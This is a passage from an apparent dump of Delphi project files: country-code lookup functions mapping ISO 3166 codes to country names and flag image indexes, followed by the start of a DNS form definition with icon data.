'GG') or (Code = 88) then Result := 'Guernsey' else\n  if (ISO3166CTRYNAME = 'GN') or (Code = 89) then Result := 'Guinea' else\n  if (ISO3166CTRYNAME = 'GW') or (Code = 90) then Result := 'Guinea-Bissau' else\n  if (ISO3166CTRYNAME = 'GY') or (Code = 91) then Result := 'Guyana' else\n  if (ISO3166CTRYNAME = 'HT') or (Code = 92) then Result := 'Haiti' else\n  if (ISO3166CTRYNAME = 'VA') or (Code = 93) then Result := 'Holy See (Vatican City State)' else\n  if (ISO3166CTRYNAME = 'HN') or (Code = 94) then Result := 'Honduras' else\n  if (ISO3166CTRYNAME = 'HK') or (Code = 95) then Result := 'Hong Kong' else\n  if (ISO3166CTRYNAME = 'HU') or (Code = 96) then Result := 'Hungary' else\n  if (ISO3166CTRYNAME = 'IS') or (Code = 97) then Result := 'Iceland' else\n  if (ISO3166CTRYNAME = 'IN') or (Code = 98) then Result := 'India' else\n  if (ISO3166CTRYNAME = 'ID') or (Code = 99) then Result := 'Indonesia' else\n  if (ISO3166CTRYNAME = 'IR') or (Code = 100) then Result := 'Iran, Islamic Republic Of' else\n  if (ISO3166CTRYNAME = 'IQ') or (Code = 101) then Result := 'Iraq' else\n  if (ISO3166CTRYNAME = 'IE') or (Code = 102) then Result := 'Ireland' else\n  if (ISO3166CTRYNAME = 'IM') or (Code = 103) then Result := 'Isle Of Man' else\n  if (ISO3166CTRYNAME = 'IL') or (Code = 104) then Result := 'Israel' else\n  if (ISO3166CTRYNAME = 'IT') or (Code = 105) then Result := 'Italy' else\n  if (ISO3166CTRYNAME = 'CI') or (Code = 106) then Result := 'Cote D' + '''' + 'ivoire' else\n  if (ISO3166CTRYNAME = 'JM') or (Code = 107) then Result := 'Jamaica' else\n  if (ISO3166CTRYNAME = 'JP') or (Code = 108) then Result := 'Japan' else\n  if (ISO3166CTRYNAME = 'JE') or (Code = 109) then Result := 'Jersey' else\n  if (ISO3166CTRYNAME = 'JO') or (Code = 110) then Result := 'Jordan' else\n  if (ISO3166CTRYNAME = 'KZ') or (Code = 111) then Result := 'Kazakhstan' else\n  if (ISO3166CTRYNAME = 'KE') or (Code = 112) then Result := 'Kenya' else\n  if (ISO3166CTRYNAME = 'KI') or (Code = 113) then Result := 'Kiribati' else\n  if (ISO3166CTRYNAME = 'KR') or (Code = 114) then Result := 'Korea, Republic Of' else\n  if (ISO3166CTRYNAME = 'KW') or (Code = 115) then Result := 'Kuwait' else\n  if (ISO3166CTRYNAME = 'KG') or (Code = 116) then Result := 'Kyrgyzstan' else\n  if (ISO3166CTRYNAME = 'LA') or (Code = 117) then Result := 'Lao People' + '''' + 's Democratic Republic' else\n  if (ISO3166CTRYNAME = 'LV') or (Code = 118) then Result := 'Latvia' else\n  if (ISO3166CTRYNAME = 'LB') or (Code = 119) then Result := 'Lebanon' else\n  if (ISO3166CTRYNAME = 'LS') or (Code = 120) then Result := 'Lesotho' else\n  if (ISO3166CTRYNAME = 'LR') or (Code = 121) then Result := 'Liberia' else\n  if (ISO3166CTRYNAME = 'LY') or (Code = 122) then Result := 'Libyan Arab Jamahiriya' else\n  if (ISO3166CTRYNAME = 'LI') or (Code = 123) then Result := 'Liechtenstein' else\n  if (ISO3166CTRYNAME = 'LT') or (Code = 124) then Result := 'Lithuania' else\n  if (ISO3166CTRYNAME = 'LU') or (Code = 125) then Result := 'Luxembourg' else\n  if (ISO3166CTRYNAME = 'MO') or (Code = 126) then Result := 'Macao' else\n  if (ISO3166CTRYNAME = 'MK') or (Code = 127) then Result := 'Macedonia, The Former Yugoslav Republic Of' else\n  if (ISO3166CTRYNAME = 'MG') or (Code = 128) then Result := 'Madagascar' else\n  if (ISO3166CTRYNAME = 'MW') or (Code = 129) then Result := 'Malawi' else\n  if (ISO3166CTRYNAME = 'MY') or (Code = 130) then Result := 'Malaysia' else\n  if (ISO3166CTRYNAME = 'MV') or (Code = 131) then Result := 'Maldives' else\n  if (ISO3166CTRYNAME = 'ML') or (Code = 132) then Result := 'Mali' else\n  if (ISO3166CTRYNAME = 'MT') or (Code = 133) then Result := 'Malta' else\n  if (ISO3166CTRYNAME = 'MH') or (Code = 134) then Result := 'Marshall Islands' else\n  if (ISO3166CTRYNAME = 'MQ') or (Code = 135) then Result := 'Martinique' else\n  if (ISO3166CTRYNAME = 'MR') or (Code = 136) then Result := 'Mauritania' else\n  if (ISO3166CTRYNAME = 'MU') or (Code = 137) then Result := 'Mauritius' else\n  if (ISO3166CTRYNAME = 'YT') or (Code = 138) then Result := 'Mayotte' else\n  if (ISO3166CTRYNAME = 'MX') or (Code = 139) then Result := 'Mexico' else\n  if (ISO3166CTRYNAME = 'FM') or (Code = 140) then Result := 'Micronesia, Federated States Of' else\n  if (ISO3166CTRYNAME = 'MD') or (Code = 141) then Result := 'Moldova, Republic Of' else\n  if (ISO3166CTRYNAME = 'MC') or (Code = 142) then Result := 'Monaco' else\n  if (ISO3166CTRYNAME = 'MN') or (Code = 143) then Result := 'Mongolia' else\n  if (ISO3166CTRYNAME = 'ME') or (Code = 144) then Result := 'Montenegro' else\n  if (ISO3166CTRYNAME = 'MS') or (Code = 145) then Result := 'Montserrat' else\n  if (ISO3166CTRYNAME = 'MA') or (Code = 146) then Result := 'Morocco' else\n  if (ISO3166CTRYNAME = 'MZ') or (Code = 147) then Result := 'Mozambique' else\n  if (ISO3166CTRYNAME = 'MM') or (Code = 148) then Result := 'Myanmar' else\n  if (ISO3166CTRYNAME = 'NA') or (Code = 149) then Result := 'Namibia' else\n  if (ISO3166CTRYNAME = 'NR') or (Code = 150) then Result := 'Nauru' else\n  if (ISO3166CTRYNAME = 'NP') or (Code = 151) then Result := 'Nepal' else\n  if (ISO3166CTRYNAME = 'NL') or (Code = 152) then Result := 'Netherlands' else\n  if (ISO3166CTRYNAME = 'NC') or (Code = 153) then Result := 'New Caledonia' else\n  if (ISO3166CTRYNAME = 'NZ') or (Code = 154) then Result := 'New Zealand' else\n  if (ISO3166CTRYNAME = 'NI') or (Code = 155) then Result := 'Nicaragua' else\n  if (ISO3166CTRYNAME = 'NE') or (Code = 156) then Result := 'Niger' else\n  if (ISO3166CTRYNAME = 'NG') or (Code = 157) then Result := 'Nigeria' else\n  if (ISO3166CTRYNAME = 'NU') or (Code = 158) then Result := 'Niue' else\n  if (ISO3166CTRYNAME = 'NF') or (Code = 159) then Result := 'Norfolk Island' else\n  if (ISO3166CTRYNAME = 'MP') or (Code = 160) then Result := 'Northern Mariana Islands' else\n  if (ISO3166CTRYNAME = 'KP') or (Code = 161) then Result := 'Korea, Democratic People' + '''' + 's Republic Of' else\n  if (ISO3166CTRYNAME = 'NO') or (Code = 162) then Result := 'Norway' else\n  if (ISO3166CTRYNAME = 'OM') or (Code = 163) then Result := 'Oman' else\n  if (ISO3166CTRYNAME = 'PK') or (Code = 164) then Result := 'Pakistan' else\n  if (ISO3166CTRYNAME = 'PW') or (Code = 165) then Result := 'Palau' else\n  if (ISO3166CTRYNAME = 'PS') or (Code = 166) then Result := 'Palestinian Territory, Occupied' else\n  if (ISO3166CTRYNAME = 'PA') or (Code = 167) then Result := 'Panama' else\n  if (ISO3166CTRYNAME = 'PG') or (Code = 168) then Result := 'Papua New Guinea' else\n  if (ISO3166CTRYNAME = 'PY') or (Code = 169) then Result := 'Paraguay' else\n  if (ISO3166CTRYNAME = 'PE') or (Code = 170) then Result := 'Peru' else\n  if (ISO3166CTRYNAME = 'PH') or (Code = 171) then Result := 'Philippines' else\n  if (ISO3166CTRYNAME = 'PN') or (Code = 172) then Result := 'Pitcairn' else\n  if (ISO3166CTRYNAME = 'PL') or (Code = 173) then Result := 'Poland' else\n  if (ISO3166CTRYNAME = 'PT') or (Code = 174) then Result := 'Portugal' else\n  if (ISO3166CTRYNAME = 'PR') or (Code = 175) then Result := 'Puerto Rico' else\n  if (ISO3166CTRYNAME = 'QA') or (Code = 176) then Result := 'Qatar' else\n  if (ISO3166CTRYNAME = 'RE') or (Code = 177) then Result := 'Reunion' else\n  if (ISO3166CTRYNAME = 'RO') or (Code = 178) then Result := 'Romania' else\n  if (ISO3166CTRYNAME = 'RU') or (Code = 179) then Result := 'Russian Federation' else\n  if (ISO3166CTRYNAME = 'RW') or (Code = 180) then Result := 'Rwanda' else\n  if (ISO3166CTRYNAME = 'BL') or (Code = 181) then Result := 'Saint Barthelemy' else\n  if (ISO3166CTRYNAME = 'SH') or (Code = 182) then Result := 'Saint Helena, Ascension And Tristan Da Cunha' else\n  if (ISO3166CTRYNAME = 'KN') or (Code = 183) then Result := 'Saint Kitts And Nevis' else\n  if (ISO3166CTRYNAME = 'LC') or (Code = 184) then Result := 'Saint Lucia' else\n  if (ISO3166CTRYNAME = 'MF') or (Code = 185) then Result := 'Saint Martin (French Part)' else\n  if (ISO3166CTRYNAME = 'PM') or (Code = 186) then Result := 'Saint Pierre And Miquelon' else\n  if (ISO3166CTRYNAME = 'VC') or (Code = 187) then Result := 'Saint Vincent And The Grenadines' else\n  if (ISO3166CTRYNAME = 'WS') or (Code = 188) then Result := 'Samoa' else\n  if (ISO3166CTRYNAME = 'SM') or (Code = 189) then Result := 'San Marino' else\n  if (ISO3166CTRYNAME = 'ST') or (Code = 190) then Result := 'Sao Tome And Principe' else\n  if (ISO3166CTRYNAME = 'SA') or (Code = 191) then Result := 'Saudi Arabia' else\n  if (ISO3166CTRYNAME = 'SN') or (Code = 192) then Result := 'Senegal' else\n  if (ISO3166CTRYNAME = 'RS') or (Code = 193) then Result := 'Serbia' else\n  if (ISO3166CTRYNAME = 'SC') or (Code = 194) then Result := 'Seychelles' else\n  if (ISO3166CTRYNAME = 'SL') or (Code = 195) then Result := 'Sierra Leone' else\n  if (ISO3166CTRYNAME = 'SG') or (Code = 196) then Result := 'Singapore' else\n  if (ISO3166CTRYNAME = 'SX') or (Code = 197) then Result := 'Sint Maarten (Dutch Part)' else\n  if (ISO3166CTRYNAME = 'SK') or (Code = 198) then Result := 'Slovakia' else\n  if (ISO3166CTRYNAME = 'SI') or (Code = 199) then Result := 'Slovenia' else\n  if (ISO3166CTRYNAME = 'SB') or (Code = 200) then Result := 'Solomon Islands' else\n  if (ISO3166CTRYNAME = 'SO') or (Code = 201) then Result := 'Somalia' else\n  if (ISO3166CTRYNAME = 'ZA') or (Code = 202) then Result := 'South Africa' else\n  if (ISO3166CTRYNAME = 'GS') or (Code = 203) then Result := 'South Georgia And The South Sandwich Islands ' else\n  if (ISO3166CTRYNAME = 'ES') or (Code = 204) then Result := 'Spain' else\n  if (ISO3166CTRYNAME = 'LK') or (Code = 205) then Result := 'Sri Lanka' else\n  if (ISO3166CTRYNAME = 'SD') or (Code = 206) then Result := 'Sudan' else\n  if (ISO3166CTRYNAME = 'SR') or (Code = 207) then Result := 'Suriname' else\n  if (ISO3166CTRYNAME = 'SJ') or (Code = 208) then Result := 'Svalbard And Jan Mayen' else\n  if (ISO3166CTRYNAME = 'SZ') or (Code = 209) then Result := 'Swaziland' else\n  if (ISO3166CTRYNAME = 'SE') or (Code = 210) then Result := 'Sweden' else\n  if (ISO3166CTRYNAME = 'CH') or (Code = 211) then Result := 'Switzerland' else\n  if (ISO3166CTRYNAME = 'SY') or (Code = 212) then Result := 'Syrian Arab Republic' else\n  if (ISO3166CTRYNAME = 'TW') or (Code = 213) then Result := 'Taiwan, Province Of China' else\n  if (ISO3166CTRYNAME = 'TJ') or (Code = 214) then Result := 'Tajikistan' else\n  if (ISO3166CTRYNAME = 'TZ') or (Code = 215) then Result := 'Tanzania, United Republic Of' else\n  if (ISO3166CTRYNAME = 'TH') or (Code = 216) then Result := 'Thailand' else\n  if (ISO3166CTRYNAME = 'TL') or (Code = 217) then Result := 'Timor-Leste' else\n  if (ISO3166CTRYNAME = 'TG') or (Code = 218) then Result := 'Togo' else\n  if (ISO3166CTRYNAME = 'TK') or (Code = 219) then Result := 'Tokelau' else\n  if (ISO3166CTRYNAME = 'TO') or (Code = 220) then Result := 'Tonga' else\n  if (ISO3166CTRYNAME = 'TT') or (Code = 221) then Result := 'Trinidad And Tobago' else\n  if (ISO3166CTRYNAME = 'TN') or (Code = 222) then Result := 'Tunisia' else\n  if (ISO3166CTRYNAME = 'TR') or (Code = 223) then Result := 'Turkey' else\n  if (ISO3166CTRYNAME = 'TM') or (Code = 224) then Result := 'Turkmenistan' else\n  if (ISO3166CTRYNAME = 'TC') or (Code = 225) then Result := 'Turks And Caicos Islands' else\n  if (ISO3166CTRYNAME = 'TV') or (Code = 226) then Result := 'Tuvalu' else\n  if (ISO3166CTRYNAME = 'UG') or (Code = 227) then Result := 'Uganda' else\n  if (ISO3166CTRYNAME = 'UA') or (Code = 228) then Result := 'Ukraine' else\n  if (ISO3166CTRYNAME = 'AE') or (Code = 229) then Result := 'United Arab Emirates' else\n  if (ISO3166CTRYNAME = 'GB') or (Code = 230) then Result := 'United Kingdom' else\n  if (ISO3166CTRYNAME = 'US') or (Code = 231) then Result := 'United States' else\n  if (ISO3166CTRYNAME = 'UY') or (Code = 232) then Result := 'Uruguay' else\n  if (ISO3166CTRYNAME = 'UZ') or (Code = 233) then Result := 'Uzbekistan' else\n  if (ISO3166CTRYNAME = 'VU') or (Code = 234) then Result := 'Vanuatu' else\n  if (ISO3166CTRYNAME = 'VE') or (Code = 235) then Result := 'Venezuela, Bolivarian Republic Of' else\n  if (ISO3166CTRYNAME = 'VN') or (Code = 236) then Result := 'Viet Nam' else\n  if (ISO3166CTRYNAME = 'VG') or (Code = 237) then Result := 'Virgin Islands, British' else\n  if (ISO3166CTRYNAME = 'VI') or (Code = 238) then Result := 'Virgin Islands, U.S.' else\n  if (ISO3166CTRYNAME = 'WF') or (Code = 239) then Result := 'Wallis And Futuna' else\n  if (ISO3166CTRYNAME = 'EH') or (Code = 240) then Result := 'Western Sahara' else\n  if (ISO3166CTRYNAME = 'YE') or (Code = 241) then Result := 'Yemen' else\n  if (ISO3166CTRYNAME = 'ZM') or (Code = 242) then Result := 'Zambia' else\n  if (ISO3166CTRYNAME = 'ZW') or (Code = 243) then Result := 'Zimbabwe';\nend;\n\nfunction GetCountryImageIndex(ISO3166CTRYNAME: String): Integer;\nbegin\n  if ISO3166CTRYNAME = 'AF' then Result := 0 else\n  if ISO3166CTRYNAME = 'AX' then Result := 1 else\n  if ISO3166CTRYNAME = 'AL' then Result := 2 else\n  if ISO3166CTRYNAME = 'DZ' then Result := 3 else\n  if ISO3166CTRYNAME = 'AS' then Result := 4 else\n  if ISO3166CTRYNAME = 'AD' then Result := 5 else\n  if ISO3166CTRYNAME = 'AO' then Result := 6 else\n  if ISO3166CTRYNAME = 'AI' then Result := 7 else\n  if ISO3166CTRYNAME = 'AQ' then Result := 8 else\n  if ISO3166CTRYNAME = 'AG' then Result := 9 else\n  if ISO3166CTRYNAME = 'AR' then Result := 10 else\n  if ISO3166CTRYNAME = 'AM' then Result := 11 else\n  if ISO3166CTRYNAME = 'AW' then Result := 12 else\n  if ISO3166CTRYNAME = 'AU' then Result := 13 else\n  if ISO3166CTRYNAME = 'AT' then Result := 14 else\n  if ISO3166CTRYNAME = 'AZ' then Result := 15 else\n  if ISO3166CTRYNAME = 'BS' then Result := 16 else\n  if ISO3166CTRYNAME = 'BH' then Result := 17 else\n  if ISO3166CTRYNAME = 'BD' then Result := 18 else\n  if ISO3166CTRYNAME = 'BB' then Result := 19 else\n  if ISO3166CTRYNAME = 'BY' then Result := 20 else\n  if ISO3166CTRYNAME = 'BE' then Result := 21 else\n  if ISO3166CTRYNAME = 'BZ' then Result := 22 else\n  if ISO3166CTRYNAME = 'BJ' then Result := 23 else\n  if ISO3166CTRYNAME = 'BM' then Result := 24 else\n  if ISO3166CTRYNAME = 'BT' then Result := 25 else\n  if ISO3166CTRYNAME = 'IO' then Result := 26 else\n  if ISO3166CTRYNAME = 'BO' then Result := 27 else\n  if ISO3166CTRYNAME = 'BQ' then Result := 28 else\n  if ISO3166CTRYNAME = 'BA' then Result := 29 else\n  if ISO3166CTRYNAME = 'BW' then Result := 30 else\n  if ISO3166CTRYNAME = 'BV' then Result := 31 else\n  if ISO3166CTRYNAME = 'BR' then Result := 32 else\n  if ISO3166CTRYNAME = 'BN' then Result := 33 else\n  if ISO3166CTRYNAME = 'BG' then Result := 34 else\n  if ISO3166CTRYNAME = 'BF' then Result := 35 else\n  if ISO3166CTRYNAME = 'BI' then Result := 36 else\n  if ISO3166CTRYNAME = 'KH' then Result := 37 else\n  if ISO3166CTRYNAME = 'CM' then Result := 38 else\n  if ISO3166CTRYNAME = 'CA' then Result := 39 else\n  if ISO3166CTRYNAME = 'CV' then Result := 40 else\n  if ISO3166CTRYNAME = 'KY' then Result := 41 else\n  if ISO3166CTRYNAME = 'CF' then Result := 42 else\n  if ISO3166CTRYNAME = 'TD' then Result := 43 else\n  if ISO3166CTRYNAME = 'CL' then Result := 44 else\n  if ISO3166CTRYNAME = 'CN' then Result := 45 else\n  if ISO3166CTRYNAME = 'CX' then Result := 46 else\n  if ISO3166CTRYNAME = 'CC' then Result := 47 else\n  if ISO3166CTRYNAME = 'CO' then Result := 48 else\n  if ISO3166CTRYNAME = 'KM' then Result := 49 else\n  if ISO3166CTRYNAME = 'CG' then Result := 50 else\n  if ISO3166CTRYNAME = 'CD' then Result := 51 else\n  if ISO3166CTRYNAME = 'CK' then Result := 52 else\n  if ISO3166CTRYNAME = 'CR' then Result := 53 else\n  if ISO3166CTRYNAME = 'HR' then Result := 54 else\n  if ISO3166CTRYNAME = 'CU' then Result := 55 else\n  if ISO3166CTRYNAME = 'CY' then Result := 56 else\n  if ISO3166CTRYNAME = 'CZ' then Result := 57 else\n  if ISO3166CTRYNAME = 'DK' then Result := 58 else\n  if ISO3166CTRYNAME = 'DJ' then Result := 59 else\n  if ISO3166CTRYNAME = 'DM' then Result := 60 else\n  if ISO3166CTRYNAME = 'DO' then Result := 61 else\n  if ISO3166CTRYNAME = 'EC' then Result := 62 else\n  if ISO3166CTRYNAME = 'EG' then Result := 63 else\n  if ISO3166CTRYNAME = 'SV' then Result := 64 else\n  if ISO3166CTRYNAME = 'GQ' then Result := 65 else\n  if ISO3166CTRYNAME = 'ER' then Result := 66 else\n  if ISO3166CTRYNAME = 'EE' then Result := 67 else\n  if ISO3166CTRYNAME = 'ET' then Result := 68 else\n  if ISO3166CTRYNAME = 'FK' then Result := 69 else\n  if ISO3166CTRYNAME = 'FO' then Result := 70 else\n  if ISO3166CTRYNAME = 'FJ' then Result := 71 else\n  if ISO3166CTRYNAME = 'FI' then Result := 72 else\n  if ISO3166CTRYNAME = 'FR' then Result := 73 else\n  if ISO3166CTRYNAME = 'PF' then Result := 74 else\n  if ISO3166CTRYNAME = 'TF' then Result := 75 else\n  if ISO3166CTRYNAME = 'GA' then Result := 76 else\n  if ISO3166CTRYNAME = 'GM' then Result := 77 else\n  if ISO3166CTRYNAME = 'GE' then Result := 78 else\n  if ISO3166CTRYNAME = 'DE' then Result := 79 else\n  if ISO3166CTRYNAME = 'GH' then Result := 80 else\n  if ISO3166CTRYNAME = 'GI' then Result := 81 else\n  if ISO3166CTRYNAME = 'GR' then Result := 82 else\n  if ISO3166CTRYNAME = 'GL' then Result := 83 else\n  if ISO3166CTRYNAME = 'GD' then Result := 84 else\n  if ISO3166CTRYNAME = 'GP' then Result := 85 else\n  if ISO3166CTRYNAME = 'GU' then Result := 86 else\n  if ISO3166CTRYNAME = 'GT' then Result := 87 else\n  if ISO3166CTRYNAME = 'GG' then Result := 88 else\n  if ISO3166CTRYNAME = 'GN' then Result := 89 else\n  if ISO3166CTRYNAME = 'GW' then Result := 90 else\n  if ISO3166CTRYNAME = 'GY' then Result := 91 else\n  if ISO3166CTRYNAME = 'HT' then Result := 92 else\n  if ISO3166CTRYNAME = 'VA' then Result := 93 else\n  if ISO3166CTRYNAME = 'HN' then Result := 94 else\n  if ISO3166CTRYNAME = 'HK' then Result := 95 else\n  if ISO3166CTRYNAME = 'HU' then Result := 96 else\n  if ISO3166CTRYNAME = 'IS' then Result := 97 else\n  if ISO3166CTRYNAME = 'IN' then Result := 98 else\n  if ISO3166CTRYNAME = 'ID' then Result := 99 else\n  if ISO3166CTRYNAME = 'IR' then Result := 100 else\n  if ISO3166CTRYNAME = 'IQ' then Result := 101 else\n  if ISO3166CTRYNAME = 'IE' then Result := 102 else\n  if ISO3166CTRYNAME = 'IM' then Result := 103 else\n  if ISO3166CTRYNAME = 'IL' then Result := 104 else\n  if ISO3166CTRYNAME = 'IT' then Result := 105 else\n  if ISO3166CTRYNAME = 'CI' then Result := 106 else\n  if ISO3166CTRYNAME = 'JM' then Result := 107 else\n  if ISO3166CTRYNAME = 'JP' then Result := 108 else\n  if ISO3166CTRYNAME = 'JE' then Result := 109 else\n  if ISO3166CTRYNAME = 'JO' then Result := 110 else\n  if ISO3166CTRYNAME = 'KZ' then Result := 111 else\n  if ISO3166CTRYNAME = 'KE' then Result := 112 else\n  if ISO3166CTRYNAME = 'KI' then Result := 113 else\n  if ISO3166CTRYNAME = 'KR' then Result := 114 else\n  if ISO3166CTRYNAME = 'KW' then Result := 115 else\n  if ISO3166CTRYNAME = 'KG' then Result := 116 else\n  if ISO3166CTRYNAME = 'LA' then Result := 117 else\n  if ISO3166CTRYNAME = 'LV' then Result := 118 else\n  if ISO3166CTRYNAME = 'LB' then Result := 119 else\n  if ISO3166CTRYNAME = 'LS' then Result := 120 else\n  if ISO3166CTRYNAME = 'LR' then Result := 121 else\n  if ISO3166CTRYNAME = 'LY' then Result := 122 else\n  if ISO3166CTRYNAME = 'LI' then Result := 123 else\n  if ISO3166CTRYNAME = 'LT' then Result := 124 else\n  if ISO3166CTRYNAME = 'LU' then Result := 125 else\n  if ISO3166CTRYNAME = 'MO' then Result := 126 else\n  if ISO3166CTRYNAME = 'MK' then Result := 127 else\n  if ISO3166CTRYNAME = 'MG' then Result := 128 else\n  if ISO3166CTRYNAME = 'MW' then Result := 129 else\n  if ISO3166CTRYNAME = 'MY' then Result := 130 else\n  if ISO3166CTRYNAME = 'MV' then Result := 131 else\n  if ISO3166CTRYNAME = 'ML' then Result := 132 else\n  if ISO3166CTRYNAME = 'MT' then Result := 133 else\n  if ISO3166CTRYNAME = 'MH' then Result := 134 else\n  if ISO3166CTRYNAME = 'MQ' then Result := 135 else\n  if ISO3166CTRYNAME = 'MR' then Result := 136 else\n  if ISO3166CTRYNAME = 'MU' then Result := 137 else\n  if ISO3166CTRYNAME = 'YT' then Result := 138 else\n  if ISO3166CTRYNAME = 'MX' then Result := 139 else\n  if ISO3166CTRYNAME = 'FM' then Result := 140 else\n  if ISO3166CTRYNAME = 'MD' then Result := 141 else\n  if ISO3166CTRYNAME = 'MC' then Result := 142 else\n  if ISO3166CTRYNAME = 'MN' then Result := 143 else\n  if ISO3166CTRYNAME = 'ME' then Result := 144 else\n  if ISO3166CTRYNAME = 'MS' then Result := 145 else\n  if ISO3166CTRYNAME = 'MA' then Result := 146 else\n  if ISO3166CTRYNAME = 'MZ' then Result := 147 else\n  if ISO3166CTRYNAME = 'MM' then Result := 148 else\n  if ISO3166CTRYNAME = 'NA' then Result := 149 else\n  if ISO3166CTRYNAME = 'NR' then Result := 150 else\n  if ISO3166CTRYNAME = 'NP' then Result := 151 else\n  if ISO3166CTRYNAME = 'NL' then Result := 152 else\n  if ISO3166CTRYNAME = 'NC' then Result := 153 else\n  if ISO3166CTRYNAME = 'NZ' then Result := 154 else\n  if ISO3166CTRYNAME = 'NI' then Result := 155 else\n  if ISO3166CTRYNAME = 'NE' then Result := 156 else\n  if ISO3166CTRYNAME = 'NG' then Result := 157 else\n  if ISO3166CTRYNAME = 'NU' then Result := 158 else\n  if ISO3166CTRYNAME = 'NF' then Result := 159 else\n  if ISO3166CTRYNAME = 'MP' then Result := 160 else\n  if ISO3166CTRYNAME = 'KP' then Result := 161 else\n  if ISO3166CTRYNAME = 'NO' then Result := 162 else\n  if ISO3166CTRYNAME = 'OM' then Result := 163 else\n  if ISO3166CTRYNAME = 'PK' then Result := 164 else\n  if ISO3166CTRYNAME = 'PW' then Result := 165 else\n  if ISO3166CTRYNAME = 'PS' then Result := 166 else\n  if ISO3166CTRYNAME = 'PA' then Result := 167 else\n  if ISO3166CTRYNAME = 'PG' then Result := 168 else\n  if ISO3166CTRYNAME = 'PY' then Result := 169 else\n  if ISO3166CTRYNAME = 'PE' then Result := 170 else\n  if ISO3166CTRYNAME = 'PH' then Result := 171 else\n  if ISO3166CTRYNAME = 'PN' then Result := 172 else\n  if ISO3166CTRYNAME = 'PL' then Result := 173 else\n  if ISO3166CTRYNAME = 'PT' then Result := 174 else\n  if ISO3166CTRYNAME = 'PR' then Result := 175 else\n  if ISO3166CTRYNAME = 'QA' then Result := 176 else\n  if ISO3166CTRYNAME = 'RE' then Result := 177 else\n  if ISO3166CTRYNAME = 'RO' then Result := 178 else\n  if ISO3166CTRYNAME = 'RU' then Result := 179 else\n  if ISO3166CTRYNAME = 'RW' then Result := 180 else\n  if ISO3166CTRYNAME = 'BL' then Result := 181 else\n  if ISO3166CTRYNAME = 'SH' then Result := 182 else\n  if ISO3166CTRYNAME = 'KN' then Result := 183 else\n  if ISO3166CTRYNAME = 'LC' then Result := 184 else\n  if ISO3166CTRYNAME = 'MF' then Result := 185 else\n  if ISO3166CTRYNAME = 'PM' then Result := 186 else\n  if ISO3166CTRYNAME = 'VC' then Result := 187 else\n  if ISO3166CTRYNAME = 'WS' then Result := 188 else\n  if ISO3166CTRYNAME = 'SM' then Result := 189 else\n  if ISO3166CTRYNAME = 'ST' then Result := 190 else\n  if ISO3166CTRYNAME = 'SA' then Result := 191 else\n  if ISO3166CTRYNAME = 'SN' then Result := 192 else\n  if ISO3166CTRYNAME = 'RS' then Result := 193 else\n  if ISO3166CTRYNAME = 'SC' then Result := 194 else\n  if ISO3166CTRYNAME = 'SL' then Result := 195 else\n  if ISO3166CTRYNAME = 'SG' then Result := 196 else\n  if ISO3166CTRYNAME = 'SX' then Result := 197 else\n  if ISO3166CTRYNAME = 'SK' then Result := 198 else\n  if ISO3166CTRYNAME = 'SI' then Result := 199 else\n  if ISO3166CTRYNAME = 'SB' then Result := 200 else\n  if ISO3166CTRYNAME = 'SO' then Result := 201 else\n  if ISO3166CTRYNAME = 'ZA' then Result := 202 else\n  if ISO3166CTRYNAME = 'GS' then Result := 203 else\n  if ISO3166CTRYNAME = 'ES' then Result := 204 else\n  if ISO3166CTRYNAME = 'LK' then Result := 205 else\n  if ISO3166CTRYNAME = 'SD' then Result := 206 else\n  if ISO3166CTRYNAME = 'SR' then Result := 207 else\n  if ISO3166CTRYNAME = 'SJ' then Result := 208 else\n  if ISO3166CTRYNAME = 'SZ' then Result := 209 else\n  if ISO3166CTRYNAME = 'SE' then Result := 210 else\n  if ISO3166CTRYNAME = 'CH' then Result := 211 else\n  if ISO3166CTRYNAME = 'SY' then Result := 212 else\n  if ISO3166CTRYNAME = 'TW' then Result := 213 else\n  if ISO3166CTRYNAME = 'TJ' then Result := 214 else\n  if ISO3166CTRYNAME = 'TZ' then Result := 215 else\n  if ISO3166CTRYNAME = 'TH' then Result := 216 else\n  if ISO3166CTRYNAME = 'TL' then Result := 217 else\n  if ISO3166CTRYNAME = 'TG' then Result := 218 else\n  if ISO3166CTRYNAME = 'TK' then Result := 219 else\n  if ISO3166CTRYNAME = 'TO' then Result := 220 else\n  if ISO3166CTRYNAME = 'TT' then Result := 221 else\n  if ISO3166CTRYNAME = 'TN' then Result := 222 else\n  if ISO3166CTRYNAME = 'TR' then Result := 223 else\n  if ISO3166CTRYNAME = 'TM' then Result := 224 else\n  if ISO3166CTRYNAME = 'TC' then Result := 225 else\n  if ISO3166CTRYNAME = 'TV' then Result := 226 else\n  if ISO3166CTRYNAME = 'UG' then Result := 227 else\n  if ISO3166CTRYNAME = 'UA' then Result := 228 else\n  if ISO3166CTRYNAME = 'AE' then Result := 229 else\n  if ISO3166CTRYNAME = 'GB' then Result := 230 else\n  if ISO3166CTRYNAME = 'US' then Result := 231 else\n  if ISO3166CTRYNAME = 'UY' then Result := 232 else\n  if ISO3166CTRYNAME = 'UZ' then Result := 233 else\n  if ISO3166CTRYNAME = 'VU' then Result := 234 else\n  if ISO3166CTRYNAME = 'VE' then Result := 235 else\n  if ISO3166CTRYNAME = 'VN' then Result := 236 else\n  if ISO3166CTRYNAME = 'VG' then Result := 237 else\n  if ISO3166CTRYNAME = 'VI' then Result := 238 else\n  if ISO3166CTRYNAME = 'WF' then Result := 239 else\n  if ISO3166CTRYNAME = 'EH' then Result := 240 else\n  if ISO3166CTRYNAME = 'YE' then Result := 241 else\n  if ISO3166CTRYNAME = 'ZM' then Result := 242 else\n  if ISO3166CTRYNAME = 'ZW' then Result := 243 else Result := -1;\nend;\nend.\n"
  },
  {
    "path": "Client/UnitFormDns.dfm",
    "content": "object DnsForm: TDnsForm\n  Left = 0\n  Top = 0\n  BorderIcons = [biSystemMenu]\n  Caption = 'DnsForm'\n  ClientHeight = 208\n  ClientWidth = 394\n  Color = clBtnFace\n  Font.Charset = DEFAULT_CHARSET\n  Font.Color = clWindowText\n  Font.Height = -11\n  Font.Name = 'Tahoma'\n  Font.Style = []\n  Icon.Data = {\n    0000010001001010000001002000680400001600000028000000100000002000\n    0000010020000000000040040000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    0000000000000000000000000000000000000000000000000000000000000000\n    00000000000000000000000000000000000000000000000000000000000058B8\n    64FF55B661FF53B45EFF50B25BFF00000000000000003DA145FF369A3DFF3093\n    36FF2A8C2FFF0000000000000000217F24FF207E24FF207D23FF207D23FF5CBB\n    68FFA8D8AEFFA5D7ACFF54B55FFF000000000000000045A84EFF7FC688FF72C0\n    